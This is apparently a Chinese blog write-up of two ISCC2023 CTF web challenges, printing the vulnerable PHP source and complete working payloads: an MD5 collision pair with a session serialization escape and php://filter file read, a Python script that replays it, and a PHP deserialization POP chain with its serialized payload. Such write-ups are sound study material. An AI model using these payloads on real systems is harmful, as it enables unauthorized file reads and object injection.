ISCC2023 web复现——老狼老狼几点了&where_is_you_love

不好意思久等了,之前说有时间会继续复现,由于最近期末考试,所以也是拖到现在,话不多说,直接进入主题。

老狼老狼几点了 :主要考点 session序列化字符串逃逸和md5强绕过

where_is_you_love:主要考点 POP链,RSA算法 (由于没环境我只复现POP链)

老狼老狼几点了

进入环境,原题是需要对时间进行爆破,在输入是12时回显源码

1705127491 <?php
//"Hello! welcome to ISCC, wish you have a great time!";
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
echo time();

class what_time_is_it{
    protected $func, $target;

    public function __construct($show_time){
        $this->func = $show_time;
    }

    public function __wakeup(){
        echo "wakeup";
    }

    public function call_func(){
        $lets_show_time = unserialize($this->filter($this->func));
        if($lets_show_time['function'] == "show_time"){
            echo 'The time is: ". date("h:i:sa", time()). "<br>';
        }
        else if($lets_show_time['function'] == "hack"){
            file_put_contents('time.php', "<?php echo 'The time is: ". date("h:i:sa", time()). "<br>';");
            echo "做撚啊做,你还是看看时间吧";
            include($lets_show_time['file']);
        }
        else
            highlight_file(__file__);
    }

    private function filter($s){
        return preg_replace('/base64/i','', $s);
    }

    public function __destruct(){
        $this->call_func();
    }

}

if($_SESSION) unset($_SESSION);
$p1 = $_POST['param1'];
$p2 = $_POST['param2'];
$_SESSION['function'] = isset($_GET['func']) ? $_GET['func'] : "highlight_file";
$_SESSION['file'] = 'time.php';
if ($p1 !== $p2 && md5($p1) === md5($p2)){
    if (substr($p1, 0, 10) === strval(time())){
        echo "Just the time";
        extract($_POST);
        $_SESSION['file'] = 'time.php';
        $_SESSION['function'] = "show_time";
    }
    else{
        echo "Sorry wrong time!";
    }
}
$let_me_show_time = serialize($_SESSION)."<br>";
$a = new what_time_is_it($let_me_show_time);

简单分析一下:

1.让我们POST传参param1,param2,它们不相等但是md5值相等并且前是个字符要和time()得出的时间戳相等,才能利用extract($_POST)去覆盖变量,这里是不能利用数组绕过md5的,因为需要进行字符串的比较,只能利用fastcoll工具进行强绕过。

2.对于session如果我们不利用extract($_POST),则只有func一个变量可控,不足以达到逃逸的效果,在没有CET传参func的前提下session值默认是

$_SESSION['function'] = "highlight_file";
$_SESSION['file'] = 'time.php';

3.之后session结果序列化,传入what_time_is_it对象里,对象里的$func变量接受序列化值,$lets_show_time变量接受经过filter函数过滤后在进行反序列化后的值,这个值其实就是一个数组,其中我们需要让function键的值等于hack,进入include文件包含漏洞让 file 键的值是flag.php,由于 flie 键值我们不可控,就需要用到1中分析的变量覆盖来进行字符串逃逸。

注意:我们不能直接覆盖 function 和file 的键值,因为 再覆盖后变量又进行了赋值

if ($p1 !== $p2 && md5($p1) === md5($p2)){
    if (substr($p1, 0, 10) === strval(time())){
        echo "Just the time";
        extract($_POST);
        $_SESSION['file'] = 'time.php';  //变量值又被覆盖了
        $_SESSION['function'] = "show_time";  //
    }
    else{
        echo "Sorry wrong time!";
    }
}

于是我们可以利用extract($_POST)自己构造两个参数,进行字符串逃逸

这里可以将框出来的部分吞掉,然后后面构造我们想要的值

一共要吞18个字符就可以进行逃逸,也就是3个base64,注意伪协议里的bas64也会被过滤,双写记得该长度为57.

可以看到成功逃逸,也就是说我们可以利用extract($_POST)传参:

_SESSION[a] = abase64base64base64&_SESSION[b] = 'b";s:1:"b";s:1:"b";s:8:"function";s:4:"hack";s:4:"file";s:57:"php://filter/read=convert.basbase64e64-encode/resource=flag.php";}         注意GET和POST传参是不需要$的

现在就是怎么绕过md5了,我们可以写一个txt文件,内容是以时间戳开头,往后推迟一点,比如现在时间是1705130645 我们就可以写个 1705130900,放入fastcoll进行爆破即可。

最终payload:(由于是我昨晚做的,时间可能早一点)

POST:

param1=1705073800%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F4%DF%84%02%15%93%C3%E8%CD%243%8Bf%25%ED%AA%ACC%DC%A9Ru%DC%86T%BA9%0E%C5%F9%08%B4%F6%2B%FA%C7X%ED%1BPk%D0%E8%04%88%91%C6F%A0%00%C2%E0%C1Z%25%15%A3%92%1A%815%C6%14s%D7i%DC%F7%AD%E7%00%D3%E7%1B%E8l%0E%81%C0%87%23%90s%3B%40%9A%91%1F%8B%B3+%EF%2B%60h%A6%D7%3B%18T%A7%88%12%14t%04L%5BU%04%0A%DD%069%82AX%25%996%BBV%F6%833%E7a%FF&param2=1705073800%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F4%DF%84%02%15%93%C3%E8%CD%243%8Bf%25%ED%AA%ACC%DC%29Ru%DC%86T%BA9%0E%C5%F9%08%B4%F6%2B%FA%C7X%ED%1BPk%D0%E8%04%88%11%C7F%A0%00%C2%E0%C1Z%25%15%A3%92%1A%015%C6%14s%D7i%DC%F7%AD%E7%00%D3%E7%1B%E8l%0E%81%C0%87%23%90s%BB%40%9A%91%1F%8B%B3+%EF%2B%60h%A6%D7%3B%18T%A7%88%12%14t%04L%5BU%84%09%DD%069%82AX%25%996%BBV%F6%033%E7a%FF&_SESSION[a]=abase64base64base64&_SESSION[b]=b";s:1:"b";s:1:"b";s:8:"function";s:4:"hack";s:4:"file";s:57:"php://filter/read=convert.basbase64e64-encode/resource=flag.php";}

最后我们可以手工一直发包,到了你写的那个时间点就可以得到flag了,这里我还是推荐用脚本去跑,成功概率大一点

import requests

url= "http://localhost/ctf/ISCC2023_time.php"
hd={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
  "Content-Type": "application/x-www-form-urlencoded"}
text1=requests.get(url,headers=hd).text

payload = 'param1=1705073800%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F4%DF%84%02%15%93%C3%E8%CD%243%8Bf%25%ED%AA%ACC%DC%A9Ru%DC%86T%BA9%0E%C5%F9%08%B4%F6%2B%FA%C7X%ED%1BPk%D0%E8%04%88%91%C6F%A0%00%C2%E0%C1Z%25%15%A3%92%1A%815%C6%14s%D7i%DC%F7%AD%E7%00%D3%E7%1B%E8l%0E%81%C0%87%23%90s%3B%40%9A%91%1F%8B%B3+%EF%2B%60h%A6%D7%3B%18T%A7%88%12%14t%04L%5BU%04%0A%DD%069%82AX%25%996%BBV%F6%833%E7a%FF&param2=1705073800%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F4%DF%84%02%15%93%C3%E8%CD%243%8Bf%25%ED%AA%ACC%DC%29Ru%DC%86T%BA9%0E%C5%F9%08%B4%F6%2B%FA%C7X%ED%1BPk%D0%E8%04%88%11%C7F%A0%00%C2%E0%C1Z%25%15%A3%92%1A%015%C6%14s%D7i%DC%F7%AD%E7%00%D3%E7%1B%E8l%0E%81%C0%87%23%90s%BB%40%9A%91%1F%8B%B3+%EF%2B%60h%A6%D7%3B%18T%A7%88%12%14t%04L%5BU%84%09%DD%069%82AX%25%996%BBV%F6%033%E7a%FF&_SESSION[a]=abase64base64base64&_SESSION[b]=b";s:1:"b";s:1:"b";s:8:"function";s:4:"hack";s:4:"file";s:57:"php://filter/read=convert.basbase64e64-encode/resource=flag.php";}'

while 1==1:
  text = requests.post(url,data=payload,headers=hd).text
  if "Just the time" in text:
      print(text)
      break
  else:
      try:
          text1=text.split("<code>")[0]
          print(text1)

      except :
          print(text1)
          print("error except")
          break

拿去base64解密即可得到flag 

where_is_you_love

原题ctrl+u看源码即可得到3个文件好像,POP链是其中一个文件,得出来的flag在原题里是RSA的密钥。

<?php

highlight_file(__FILE__);

class boy
{
    public $like;
    public function __destruct()
    {
        echo "能请你喝杯奶茶吗?";
        @$this->like->make_friends();
    }
    public function __toString()
    {
        echo "拱火大法好";
        return $this->like->string;
    }
}

class girl
{
    private $boyname;
    public function __construct($a)
    {
        $this->boyname = $a;
    }
    public function __call($func, $args)
    {
        echo "我害羞羞";
        isset($this->boyname->name);
    }
}

class helper
{
    private $name; #{"string":"love_story::love"}
    private $string;
    public function __construct($a, $string)
    {
        if ($a === 1) {
            $this->name = array('string' => '(new love_story())->love');
            var_dump($this->name);
            var_dump($this->name['string']);
        } else {
            $this->name = $a;
        }
        $this->string = $string;
    }

    public function __isset($val)
    {
        echo "僚机上线";
        echo $this->name;
    }

    public function __get($name)
    {
        echo "僚机不懈努力";
        $var = $this->$name;
        var_dump($var);
        var_dump($var[$name]);
        $var[$name](); #(new love_story())->love()
    }
}

class love_story
{
    //public $fall_in_love = array("girl_and_boy");
    public function __construct()
    {
        echo "construct nihao";
    }
    public function love()
    {
        echo "爱情萌芽";
        array_walk($this, function ($make, $colo) {
            echo "坠入爱河,给你爱的密码";
            if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
                include('flag.php');
                echo $flag;
                echo "good";
            }
        });
    }
}

$iscc=$_GET['iscc'];
unserialize($iscc);

?>

这里一眼就可以看到目标是love_story里的flag。其中

<?php

class love_story
{
    public $fall_in_love = ['girl_and_boy'];

    public function love()
    {
        array_walk($this, function ($make, $colo) {  
               //$make是类中属性的值,$colo是属性的键名
               echo $make[0].'    ';
               echo $colo;
        });
    }
}


$a=new love_story();
$a->love();

结果:
girl_and_boy    fall_in_love

链子也很清楚:

boy __destruct ->girl __call ->helper  __isset-> boy  __toString-> helper  __get-> love_story  love()
<?php

class boy
{
    public $like;
}

class girl
{
    public $boyname;

}

class helper
{
    private $name;  //注意这里的name和string不能改成public,否则无法调用isset和get
    private $string;
    public function __construct($x, $y)
    {
		$this->name=$x;
		$this->string=$y;
	}
}

class love_story
{
    public $fall_in_love = array("girl_and_boy");
}

$a=new boy();
$a->like=new girl();

$aa=new boy();
$aa->like=new helper(22,['string'=>[new love_story(),'love']]);
	
$a->like->boyname=new helper($aa,22);
echo urlencode(serialize($a));

最终payload:

?iscc=O%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A4%3A%22girl%22%3A1%3A%7Bs%3A7%3A%22boyname%22%3BO%3A6%3A%22helper%22%3A2%3A%7Bs%3A12%3A%22%00helper%00name%22%3BO%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A6%3A%22helper%22%3A2%3A%7Bs%3A12%3A%22%00helper%00name%22%3Bi%3A22%3Bs%3A14%3A%22%00helper%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A10%3A%22love_story%22%3A1%3A%7Bs%3A12%3A%22fall_in_love%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22girl_and_boy%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22love%22%3B%7D%7D%7D%7Ds%3A14%3A%22%00helper%00string%22%3Bi%3A22%3B%7D%7D%7D

得到flag

  • 25
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值